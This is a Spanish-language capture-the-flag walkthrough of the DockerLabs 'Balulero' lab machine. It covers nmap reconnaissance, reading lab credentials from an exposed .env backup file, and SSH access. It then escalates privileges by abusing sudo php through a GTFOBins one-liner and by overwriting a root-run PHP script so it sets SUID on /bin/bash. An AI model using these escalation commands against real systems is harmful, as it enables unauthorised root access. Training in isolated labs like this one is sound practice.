> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/balulero.md).

# Balulero

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Balulero** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `balulero.zip`:

```bash
7z x balulero.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0WtdfjnVRpC7f4FbnMgb%2FPasted%20image%2020250812124205.png?alt=media&amp;token=adbeb7f8-e480-4561-830e-d90b87e646b3" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `balulero.tar`:

```bash
bash auto_deploy.sh balulero.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIwXCCsTyOiaPvmxGEWdq%2FPasted%20image%2020250812124238.png?alt=media&amp;token=784f2d4a-f5c6-495c-bdca-159dd45c408a" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCA0IJBZ6hDiXFWTZ5CyQ%2FPasted%20image%2020250812124345.png?alt=media&amp;token=1219fd29-4fa3-4da2-8942-1d85f55b1cfd" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FkjXbD0IwdiUnt68MENfw%2FPasted%20image%2020250812124410.png?alt=media&amp;token=3def988a-7970-444b-91c3-0216cdfcac32" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 8.2p1`.
* **Puerto 80:** `Apache httpd 2.4.41`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FDhAMxEUXknKlRW6okHnL%2FPasted%20image%2020250812124445.png?alt=media&amp;token=5a1a9719-b79b-47bc-b575-0d342322d683" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio web en el puerto 80 mediante el navegador: `http://172.17.0.2/`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fc8lngR8U9XH82bgXYjjG%2FPasted%20image%2020250812124515.png?alt=media&amp;token=aaa05ae8-9bf9-4326-80c4-9704ace2f6a7" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente de la página, encontramos un archivo en JavaScript llamado `script.js`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHzzkGfITjNJ730f0Hom6%2FPasted%20image%2020250812124531.png?alt=media&amp;token=568908bf-5c69-4337-8e6f-1aec02f5bd01" alt=""><figcaption></figcaption></figure>

Una parte del contenido de este archivo nos revela información importante:

```javascript
console.log("Se ha prohibido el acceso al archivo .env, que es donde se guarda la password de backup, pero hay una copia llamada .env_de_baluchingon visible jiji")
```

Esto nos indica la existencia de un archivo `.env_de_baluchingon` que podría contener credenciales validas.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGY3POATWuj4JVQ47LxXj%2FPasted%20image%2020250812124659.png?alt=media&amp;token=98abd7f8-0f16-4233-9959-23fb91c7a5eb" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Obtención de credenciales**

Accedemos al archivo `.env_de_baluchingon` mediante la siguiente URL: `http://172.17.0.2/.env_de_baluchingon`.

**Encontramos las siguientes credenciales:**

* **Usuario:** `balu`.
* **Contraseña:** `balubalulerobalulei`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FrBuI7zovGRW66tbkreBu%2FPasted%20image%2020250812124740.png?alt=media&amp;token=70d99225-09fe-43c7-98c7-65cfb1730016" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso por SSH**

Utilizamos las credenciales obtenidas para conectarnos por SSH:

```bash
ssh balu@172.17.0.2
```

Confirmamos que el acceso es exitoso y estamos dentro del sistema como el usuario `balu`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F8HPzoxz7nduDEIVS1rPY%2FPasted%20image%2020250812124818.png?alt=media&amp;token=6ace3190-ed36-4af6-a008-8518c1988f8e" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de privilegios del usuario**

Ejecutamos el comando `sudo -l` para verificar qué privilegios tiene el usuario actual (`balu`).

**Resultado:** Podemos ejecutar `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña:

```bash
(chocolate) NOPASSWD: /usr/bin/php
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyWgYSTKLEfxnDh4M4P5M%2FPasted%20image%2020250812124906.png?alt=media&amp;token=2a3b34fc-79b7-4c6b-aa75-3ea57b9c88e5" alt=""><figcaption></figcaption></figure>

#### **4.2. Abuso de binarios con sudo**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/php/) para encontrar una forma de escalar privilegios mediante PHP.

Ejecutamos los siguientes comandos:

```bash
CMD="/bin/bash"
```

```bash
sudo -u chocolate php -r "system('$CMD');"
```

Esto nos otorga una shell como el usuario `chocolate`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQYmaQSpfp1diaIg6XKfh%2FPasted%20image%2020250812125122.png?alt=media&amp;token=0431d8c4-2b53-4072-9e94-c0681a0684fe" alt=""><figcaption></figcaption></figure>

#### **4.3. Escalada a root**

Al listar los procesos en ejecución con `ps -aux`, vemos que el usuario `root` está ejecutando periódicamente el archivo `/opt/script.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FpUJumHpCW32oxZCXBSOP%2FPasted%20image%2020250812125210.png?alt=media&amp;token=4d465810-ab5d-4e45-8605-7abd72cdd80a" alt=""><figcaption></figcaption></figure>

Como tenemos permisos de escritura sobre este archivo, lo modificamos para agregar permisos SUID a `/bin/bash`:

```bash
echo -e "<?php\n\tsystem('chmod u+s /bin/bash');\n?>" > script.php
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FkU3KYz02D6WEpAM0Fge6%2FPasted%20image%2020250812125341.png?alt=media&amp;token=111ec4bd-943d-4f34-b077-c28d525eefb3" alt=""><figcaption></figcaption></figure>

Después de esperar a que el script sea ejecutado por `root`, ejecutamos:

```bash
bash -p
```

Esto nos otorga una shell con privilegios de `root`, completando así la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQUzNnn91QOEAfh6kzm0O%2FPasted%20image%2020250812125404.png?alt=media&amp;token=84bea5cb-8660-4031-a76d-b1a417ba6d41" alt=""><figcaption></figcaption></figure>
